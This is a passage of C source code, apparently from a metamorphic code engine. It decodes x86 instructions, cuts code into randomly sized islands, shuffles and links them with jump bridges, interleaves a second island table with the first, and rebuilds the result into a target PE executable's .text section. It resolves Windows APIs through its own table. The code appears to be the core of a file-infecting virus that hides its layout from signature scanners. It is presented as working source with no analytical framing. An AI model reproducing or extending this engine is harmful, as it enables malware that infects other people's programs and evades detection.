|| (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3) || pCurrentX86InstructionAbstraction->Opcode == 0xF6 || pCurrentX86InstructionAbstraction->Opcode == 0xF7 || pCurrentX86InstructionAbstraction->Opcode == 0xFE || pCurrentX86InstructionAbstraction->Opcode == 0xFF) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagExtendedOpcode; } if(pCurrentX86InstructionAbstraction->Opcode == 0x8C || pCurrentX86InstructionAbstraction->Opcode == 0x8E) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagSegmentRegisters; } if(pCurrentX86InstructionAbstraction->Opcode == 0x8F || pCurrentX86InstructionAbstraction->Opcode == 0xD1 || pCurrentX86InstructionAbstraction->Opcode == 0xD3 || pCurrentX86InstructionAbstraction->Opcode == 0xD9 || (pCurrentX86InstructionAbstraction->Opcode >= 0xDB && pCurrentX86InstructionAbstraction->Opcode <= 0xDD) || pCurrentX86InstructionAbstraction->Opcode == 0xDF || pCurrentX86InstructionAbstraction->Opcode == 0xFF) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM; } if(pCurrentX86InstructionAbstraction->Opcode == 0x8F) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBlankReg; } if(pCurrentX86InstructionAbstraction->Opcode == 0x90 || pCurrentX86InstructionAbstraction->Opcode == 0x98 || pCurrentX86InstructionAbstraction->Opcode == 0x99 || (pCurrentX86InstructionAbstraction->Opcode >= 0x9B && pCurrentX86InstructionAbstraction->Opcode <= 0x9D) || pCurrentX86InstructionAbstraction->Opcode == 0xC3 || pCurrentX86InstructionAbstraction->Opcode == 0xC9 || pCurrentX86InstructionAbstraction->Opcode == 0xCC || pCurrentX86InstructionAbstraction->Opcode == 0xFC || pCurrentX86InstructionAbstraction->Opcode == 0xFD) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagIsolatedVerb; } if((pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3)) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagEffectiveAddressReversed; } if(pCurrentX86InstructionAbstraction->Opcode == 0xD0 || pCurrentX86InstructionAbstraction->Opcode == 0xD2 || pCurrentX86InstructionAbstraction->Opcode == 0xFE) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM; } if(pCurrentX86InstructionAbstraction->Opcode == 0xD0 || pCurrentX86InstructionAbstraction->Opcode == 0xD2) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagInvisibleConstant; } if(pCurrentX86InstructionAbstraction->Opcode == 0xD1 || pCurrentX86InstructionAbstraction->Opcode == 0xD3) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagInvisibleRegister; } if(pCurrentX86InstructionAbstraction->Opcode == 0xE8 || pCurrentX86InstructionAbstraction->Opcode == 0xE9) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranch32; } if(pCurrentX86InstructionAbstraction->Opcode == 0xE8) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagCallBranch; } if(pCurrentX86InstructionAbstraction->Opcode == 0xE8 || pCurrentX86InstructionAbstraction->Opcode == 0xE9 || pCurrentX86InstructionAbstraction->Opcode == 0xEB) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagUnConditionalBranch; } } pCurrentX86InstructionAbstraction->ModRM=*pInstructionOffset; // Test is an abnormal case: it exists within a single-operand extended opcode table but can potentially include a data constant operand if(pCurrentX86InstructionAbstraction->dwStandardFlags == X86InstructionStandardFlagError) { pAPITable->GlobalFree(pCurrentX86InstructionAbstraction); pCurrentX86InstructionAbstraction->dwInstructionLength=X86InstructionStandardFlagError; return NULL; } pCurrentX86InstructionAbstraction->dwDataOffset=pCurrentX86InstructionAbstraction->dwMemoryOffset=(pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1); // Process the ModRM byte, calculate the memory displacement operand size, and identify potential SIB byte if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagModRM)) { pInstructionOffset++; pCurrentX86InstructionAbstraction->dwMemoryOffset++; pCurrentX86InstructionAbstraction->dwDataOffset++; pCurrentX86InstructionAbstraction->Mod=(pCurrentX86InstructionAbstraction->ModRM & 0xC0); pCurrentX86InstructionAbstraction->Reg=(pCurrentX86InstructionAbstraction->ModRM & 0x38) >> 3; pCurrentX86InstructionAbstraction->Rm=(pCurrentX86InstructionAbstraction->ModRM & 0x07); if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagExtendedOpcode)) { if(pCurrentX86InstructionAbstraction->DBitOpcode == 0x80) { if(pCurrentX86InstructionAbstraction->Reg == 0x07) // 111 - Cmp { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagNonModifier; } } else if(pCurrentX86InstructionAbstraction->WBitOpcode == 0xF6) { if(pCurrentX86InstructionAbstraction->Reg == 0x00) // 000 - Test { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagDataWBit; } else { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagWBitModRMSingle; } } else if(pCurrentX86InstructionAbstraction->WBitOpcode == 0xFE) { if(pCurrentX86InstructionAbstraction->Reg >= 0x02 && pCurrentX86InstructionAbstraction->Reg <= 0x05) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranchUnknown|X86InstructionExtendedFlagBranch32; if(pCurrentX86InstructionAbstraction->Reg <= 0x03) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagCallBranch; } } } } // Process effective address if(pCurrentX86InstructionAbstraction->Mod == 0xC0) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagExtendedOpcode)) { pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->Rm; pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Rm; if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagSingleModRM)) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranchUnknown)) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranchIsolatedReg; pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Rm; } } else { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagRegToReg; } } else { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagSingleModRM)) { pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Rm; } else { pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->Rm; pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Reg; } } } else { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagExtendedOpcode) || (pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBlankReg)) { pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->Rm; pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Rm; } else { pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->Rm; pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Reg; } if(pCurrentX86InstructionAbstraction->Mod == 0x40) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory8; } else if(pCurrentX86InstructionAbstraction->Mod == 0x80) { pCurrentX86InstructionAbstraction->dwStandardFlags |= ((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix67) ? X86InstructionStandardFlagMemory16 : X86InstructionStandardFlagMemory32); } if(pCurrentX86InstructionAbstraction->Rm == 0x04) { // SIB byte has been identified pCurrentX86InstructionAbstraction->dwMemoryOffset++; pCurrentX86InstructionAbstraction->dwDataOffset++; pCurrentX86InstructionAbstraction->SIB=*pInstructionOffset++; pCurrentX86InstructionAbstraction->Scale=((pCurrentX86InstructionAbstraction->SIB & 0xC0) >> 6); pCurrentX86InstructionAbstraction->Index=((pCurrentX86InstructionAbstraction->SIB & 0x38) >> 3); pCurrentX86InstructionAbstraction->Base=(pCurrentX86InstructionAbstraction->SIB & 0x07); if(pCurrentX86InstructionAbstraction->Scale == 0) { pCurrentX86InstructionAbstraction->Scale++; } else if(pCurrentX86InstructionAbstraction->Scale == 3) { pCurrentX86InstructionAbstraction->Scale=8; } else { pCurrentX86InstructionAbstraction->Scale *= 2; } if(pCurrentX86InstructionAbstraction->Base == 0x05 && pCurrentX86InstructionAbstraction->Mod == 0x00) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory32; } pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagSIB; } else if(pCurrentX86InstructionAbstraction->Mod == 0x00) { if(pCurrentX86InstructionAbstraction->Rm == 0x05) { // Direct, un-modified effective address identified pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory32; } } } } // Process operand size override prefixes if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagDataWBit)) { if(pCurrentX86InstructionAbstraction->WBit) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData66; } else { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8; } } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory67)) { if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix67)) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory16; } else { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory32; } } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData66)) { if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix66)) { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData16; } else { pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData32; } } // Identify the end of the instruction using its memory/data operand sizes if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory8)) { pInstructionOffset++; pCurrentX86InstructionAbstraction->dwDataOffset++; } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory16)) { pInstructionOffset += 2; pCurrentX86InstructionAbstraction->dwDataOffset += 2; } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory32)) { pInstructionOffset += 4; pCurrentX86InstructionAbstraction->dwDataOffset += 4; } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { pInstructionOffset++; } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { pInstructionOffset += 2; } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { pInstructionOffset += 4; } pCurrentX86InstructionAbstraction->dwInstructionLength=(pInstructionOffset - (pCodePool + dwCodePoolOffset)); pCurrentX86InstructionAbstraction->dwInstructionOffset=dwCodePoolOffset; // Finalize analysis of critical instruction data RelocateMemory(pCurrentX86InstructionAbstraction->Data, pCodePool + dwCodePoolOffset, pCurrentX86InstructionAbstraction->dwInstructionLength); // Perform additional, optional/advanced instruction data analysis if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagAcculmulator)) { pCurrentX86InstructionAbstraction->SourceRegister=0; // Eax pCurrentX86InstructionAbstraction->DestinationRegister=0; // Eax } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagRegWBit)) { pCurrentX86InstructionAbstraction->WBit=(pCurrentX86InstructionAbstraction->Opcode & 0x08) >> 3; pCurrentX86InstructionAbstraction->DestinationRegister=(pCurrentX86InstructionAbstraction->Opcode & 0x07); } if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagRegOpcode)) { pCurrentX86InstructionAbstraction->DestinationRegister=(pCurrentX86InstructionAbstraction->Opcode & 0x07); } if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagXMM)) { pCurrentX86InstructionAbstraction->DBit=(pCurrentX86InstructionAbstraction->Opcode & 0x10) >> 4; } if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagDBit)) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagEffectiveAddressReversed) || (pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagRegistersReversed)) { if(pCurrentX86InstructionAbstraction->DBit == 0) { pCurrentX86InstructionAbstraction->DBit=1; } else { pCurrentX86InstructionAbstraction->DBit=0; } } } if(((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagDBit) && pCurrentX86InstructionAbstraction->DBit == 0)) { BYTE TransitionRegister=pCurrentX86InstructionAbstraction->SourceRegister; pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->DestinationRegister; pCurrentX86InstructionAbstraction->DestinationRegister=TransitionRegister; } if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch)) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch8)) { pCurrentX86InstructionAbstraction->lBranchDestinationOffset=(CHAR)pCodePool[dwCodePoolOffset + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]; } else { pCurrentX86InstructionAbstraction->lBranchDestinationOffset=*(PLONG)&pCodePool[dwCodePoolOffset + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]; } } if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagWBitModRMSingle)) { if(pCurrentX86InstructionAbstraction->WBit == 0) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM; } else { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM; } } return pCurrentX86InstructionAbstraction; } PX86_CODE_ISLAND_ABSTRACTION_TABLE ShuffleX86CodeAbstractionIslands (PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable) { PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=NULL; DWORD dwX; //printf("[*] Generating bridge instructions...\r\n"); for(dwX=0; dwX <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwX++) { pCurrentX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwX].pInitialX86CodeIslandInstruction; while(pCurrentX86InstructionAbstraction != pCodeX86AbstractionIslandTable->CodeIslands[dwX].pFinalX86CodeIslandInstruction && pCurrentX86InstructionAbstraction != NULL) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagEntryPoint)) { pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction=pCurrentX86InstructionAbstraction; } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } if(pCurrentX86InstructionAbstraction != NULL) { PX86_INSTRUCTION_ABSTRACTION pBridgeX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); // Current instruction represents the final instruction in this island: the next instruction must be made a branch, with its branch destination and next links both set to the initial link of the next island. if(dwX < pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands) { pBridgeX86InstructionAbstraction->Data[0]=0xE9; pBridgeX86InstructionAbstraction->Opcode=0xE9; pBridgeX86InstructionAbstraction->dwInstructionLength=5; pBridgeX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32; pBridgeX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagUnConditionalBranch; pBridgeX86InstructionAbstraction->pX86InstructionAbstractionBranchTree=pCodeX86AbstractionIslandTable->CodeIslands[dwX + 1].pInitialX86CodeIslandInstruction; pBridgeX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentX86InstructionAbstraction; pBridgeX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwX + 1].pInitialX86CodeIslandInstruction; pCodeX86AbstractionIslandTable->CodeIslands[dwX + 1].pInitialX86CodeIslandInstruction->pReferencingX86InstructionAbstractionBranch=pBridgeX86InstructionAbstraction; pCodeX86AbstractionIslandTable->CodeIslands[dwX].pFinalX86CodeIslandInstruction=pBridgeX86InstructionAbstraction; pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pBridgeX86InstructionAbstraction; } } else { break; } } // Walk code abstraction links for ordered code islands, linking them together with branches //printf("[*] Generating new code island indexes...\r\n"); PDWORD pdwShuffledIslandIndexes=pAPITable->GlobalAlloc(GPTR, sizeof(DWORD) * (pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands + 1)); DWORD dwCurrentShuffledIslandIndexIndex=0, dwSelectedCodeIslandIndex; BOOL bIndexAlreadySelected; // Shuffle code island indexes while(dwCurrentShuffledIslandIndexIndex <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands) { dwSelectedCodeIslandIndex=(pAPITable->Rand() % (pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands + 1)); for(dwX=0, bIndexAlreadySelected=FALSE; dwX < dwCurrentShuffledIslandIndexIndex; dwX++) { if(pdwShuffledIslandIndexes[dwX] == dwSelectedCodeIslandIndex && dwCurrentShuffledIslandIndexIndex != 0) { bIndexAlreadySelected=TRUE; break; } } if(!bIndexAlreadySelected) { pdwShuffledIslandIndexes[dwCurrentShuffledIslandIndexIndex]=dwSelectedCodeIslandIndex; dwCurrentShuffledIslandIndexIndex++; } } // Build new code island table PX86_CODE_ISLAND_ABSTRACTION_TABLE pShuffledCodeX86AbstractionIslandTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (sizeof(X86_CODE_ISLAND_ABSTRACTION) * (pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands + 1))); pShuffledCodeX86AbstractionIslandTable->dwNumberOfCodeIslands=pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; pShuffledCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction=pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction; for(dwX=0; dwX <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwX++) { pShuffledCodeX86AbstractionIslandTable->CodeIslands[dwX].pInitialX86CodeIslandInstruction=pCodeX86AbstractionIslandTable->CodeIslands[pdwShuffledIslandIndexes[dwX]].pInitialX86CodeIslandInstruction; pShuffledCodeX86AbstractionIslandTable->CodeIslands[dwX].pFinalX86CodeIslandInstruction=pCodeX86AbstractionIslandTable->CodeIslands[pdwShuffledIslandIndexes[dwX]].pFinalX86CodeIslandInstruction; } return pShuffledCodeX86AbstractionIslandTable; } DWORD RefreshEtherealX86InstructionIslandTable (PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable) { DWORD dwCurrentCodeIslandIndex, dwCurrentCodeOffset; PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction; for(dwCurrentCodeIslandIndex=0, dwCurrentCodeOffset=0; dwCurrentCodeIslandIndex <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwCurrentCodeIslandIndex++) { pCurrentX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction; while(pCurrentX86InstructionAbstraction != NULL) { pCurrentX86InstructionAbstraction->dwInstructionOffset=dwCurrentCodeOffset; if(pCurrentX86InstructionAbstraction->dwInstructionLength != 0) { dwCurrentCodeOffset += pCurrentX86InstructionAbstraction->dwInstructionLength; } else if(pCurrentX86InstructionAbstraction->dwDataSize != 0) { dwCurrentCodeOffset += pCurrentX86InstructionAbstraction->dwDataSize; } else { dwCurrentCodeOffset += pCurrentX86InstructionAbstraction->dwExtendedDataSize; } if(pCurrentX86InstructionAbstraction == pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction) { break; } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } } return dwCurrentCodeOffset; } PX86_CODE_ISLAND_ABSTRACTION_TABLE SelectX86CodeAbstractionIslands (PAPI_TABLE pAPITable, PX86_INSTRUCTION_ABSTRACTION pCodeX86InstructionAbstractions) { BOOL bInitializeCodeIsland=FALSE; PBYTE pSourcePool, pDestinationPool; DWORD dwX; PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction; PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable, pNewCodeX86AbstractionIslandTable; PX86_INSTRUCTION_ABSTRACTION pPreviousX86InstructionAbstraction, pNextX86InstructionAbstraction; pCodeX86AbstractionIslandTable=(PX86_CODE_ISLAND_ABSTRACTION_TABLE)pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE)); pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractions; // Walk code instruction list, continually building code islands: initial island begins on first instruction. An island does not end if the current instruction is marked as data, or is a branch. pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands=0; pCodeX86AbstractionIslandTable->CodeIslands[0].pInitialX86CodeIslandInstruction=pCurrentX86InstructionAbstraction; while(pCurrentX86InstructionAbstraction != NULL) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagEntryPoint)) { pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction=pCurrentX86InstructionAbstraction; } if(bInitializeCodeIsland) { pNewCodeX86AbstractionIslandTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (sizeof(X86_CODE_ISLAND_ABSTRACTION) * (pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands + 1))); for(pSourcePool=pCodeX86AbstractionIslandTable, pDestinationPool=pNewCodeX86AbstractionIslandTable, dwX=0; dwX < sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (sizeof(X86_CODE_ISLAND_ABSTRACTION) * pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands); dwX++) { pDestinationPool[dwX]=pSourcePool[dwX]; } //memcpy(pNewCodeX86AbstractionIslandTable, pCodeX86AbstractionIslandTable, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (sizeof(X86_CODE_ISLAND_ABSTRACTION) * pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands)); pAPITable->GlobalFree(pCodeX86AbstractionIslandTable); pCodeX86AbstractionIslandTable=pNewCodeX86AbstractionIslandTable; pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands++; pCodeX86AbstractionIslandTable->CodeIslands[pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pInitialX86CodeIslandInstruction=pCurrentX86InstructionAbstraction; bInitializeCodeIsland=FALSE; } else if((pAPITable->Rand() % 10) == 0 && pCurrentX86InstructionAbstraction != pCodeX86InstructionAbstractions) { if(!(pCurrentX86InstructionAbstraction->dwExtendedFlags & (X86InstructionExtendedFlagBranch|X86InstructionExtendedFlagSwitch)) && pCurrentX86InstructionAbstraction->dwDataSize == 0) { pNextX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; if(pNextX86InstructionAbstraction != NULL) { if(!(pNextX86InstructionAbstraction->dwExtendedFlags & (X86InstructionExtendedFlagBranch|X86InstructionExtendedFlagSwitch)) && pNextX86InstructionAbstraction->dwDataSize == 0) { bInitializeCodeIsland=TRUE; pCodeX86AbstractionIslandTable->CodeIslands[pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pFinalX86CodeIslandInstruction=pCurrentX86InstructionAbstraction; } } } } pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } if(!bInitializeCodeIsland) { pCodeX86AbstractionIslandTable->CodeIslands[pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pFinalX86CodeIslandInstruction=pPreviousX86InstructionAbstraction; } return pCodeX86AbstractionIslandTable; } PX86_CODE_ISLAND_ABSTRACTION_TABLE IntertwineCodeIslandTables (PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pPrimaryX86CodeIslandTable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pSecondaryX86CodeIslandTable) { PX86_CODE_ISLAND_ABSTRACTION_TABLE pIntertwinedX86CodeIslandTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (((pPrimaryX86CodeIslandTable->dwNumberOfCodeIslands + 1) + (pSecondaryX86CodeIslandTable->dwNumberOfCodeIslands + 1)) * sizeof(X86_CODE_ISLAND_ABSTRACTION))); DWORD dwCurrentPrimaryCodeIslandTableIndex, dwCurrentSecondaryCodeIslandTableIndex, dwCurrentIntertwinedCodeIslandTableIndex; pIntertwinedX86CodeIslandTable->dwNumberOfCodeIslands=(pPrimaryX86CodeIslandTable->dwNumberOfCodeIslands + pSecondaryX86CodeIslandTable->dwNumberOfCodeIslands + 1); pIntertwinedX86CodeIslandTable->pOEPX86InstructionAbstraction=pPrimaryX86CodeIslandTable->pOEPX86InstructionAbstraction; for(dwCurrentPrimaryCodeIslandTableIndex=0, dwCurrentSecondaryCodeIslandTableIndex=0, dwCurrentIntertwinedCodeIslandTableIndex=0; dwCurrentPrimaryCodeIslandTableIndex <= pPrimaryX86CodeIslandTable->dwNumberOfCodeIslands;) { pIntertwinedX86CodeIslandTable->CodeIslands[dwCurrentIntertwinedCodeIslandTableIndex].pInitialX86CodeIslandInstruction=pPrimaryX86CodeIslandTable->CodeIslands[dwCurrentPrimaryCodeIslandTableIndex].pInitialX86CodeIslandInstruction; pIntertwinedX86CodeIslandTable->CodeIslands[dwCurrentIntertwinedCodeIslandTableIndex].pFinalX86CodeIslandInstruction=pPrimaryX86CodeIslandTable->CodeIslands[dwCurrentPrimaryCodeIslandTableIndex].pFinalX86CodeIslandInstruction; dwCurrentIntertwinedCodeIslandTableIndex++; dwCurrentPrimaryCodeIslandTableIndex++; if(dwCurrentSecondaryCodeIslandTableIndex <= pSecondaryX86CodeIslandTable->dwNumberOfCodeIslands) { pIntertwinedX86CodeIslandTable->CodeIslands[dwCurrentIntertwinedCodeIslandTableIndex].pInitialX86CodeIslandInstruction=pSecondaryX86CodeIslandTable->CodeIslands[dwCurrentSecondaryCodeIslandTableIndex].pInitialX86CodeIslandInstruction; pIntertwinedX86CodeIslandTable->CodeIslands[dwCurrentIntertwinedCodeIslandTableIndex].pFinalX86CodeIslandInstruction=pSecondaryX86CodeIslandTable->CodeIslands[dwCurrentSecondaryCodeIslandTableIndex].pFinalX86CodeIslandInstruction; dwCurrentIntertwinedCodeIslandTableIndex++; dwCurrentSecondaryCodeIslandTableIndex++; } } return pIntertwinedX86CodeIslandTable; } BOOL SolidifyX86CodeIslandAbstractions (PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable, PBYTE *ppSolidifiedCodePool, PDWORD pdwSolidifiedCodePoolSize, PBYTE pTargetPE32Pool) { PIMAGE_DOS_HEADER pTargetImageDOSHeader; PIMAGE_FILE_HEADER pTargetImageFileHeader; PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader; PIMAGE_SECTION_HEADER pTargetImageSectionHeader; DWORD dwCodeSectionIndex, dwCodeSectionNameString[2]; dwCodeSectionNameString[0]='xet.'; dwCodeSectionNameString[1]='t'; if(pTargetPE32Pool != NULL) { pTargetImageDOSHeader=pTargetPE32Pool; pTargetImageFileHeader=(PBYTE)pTargetPE32Pool + pTargetImageDOSHeader->e_lfanew + 4; pTargetImageOptionalHeader=(PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER); pTargetImageSectionHeader=(PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER); if((dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, &dwCodeSectionNameString)) == -1) { //printf("[-] Failed to locate a .text section within the target file.\r\n"); return FALSE; } } DWORD dwSolidifiedCodePoolSize=*pdwSolidifiedCodePoolSize, dwSolidifiedCodePoolOffset=0, dwCurrentCodeIslandIndex, dwX; PBYTE pSolidifiedCodePool=pAPITable->GlobalAlloc(GPTR, dwSolidifiedCodePoolSize); PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=NULL, pDestinationX86InstructionAbstraction=NULL; LONG lRelativeDestinationOffset; for(dwCurrentCodeIslandIndex=0; dwCurrentCodeIslandIndex <= 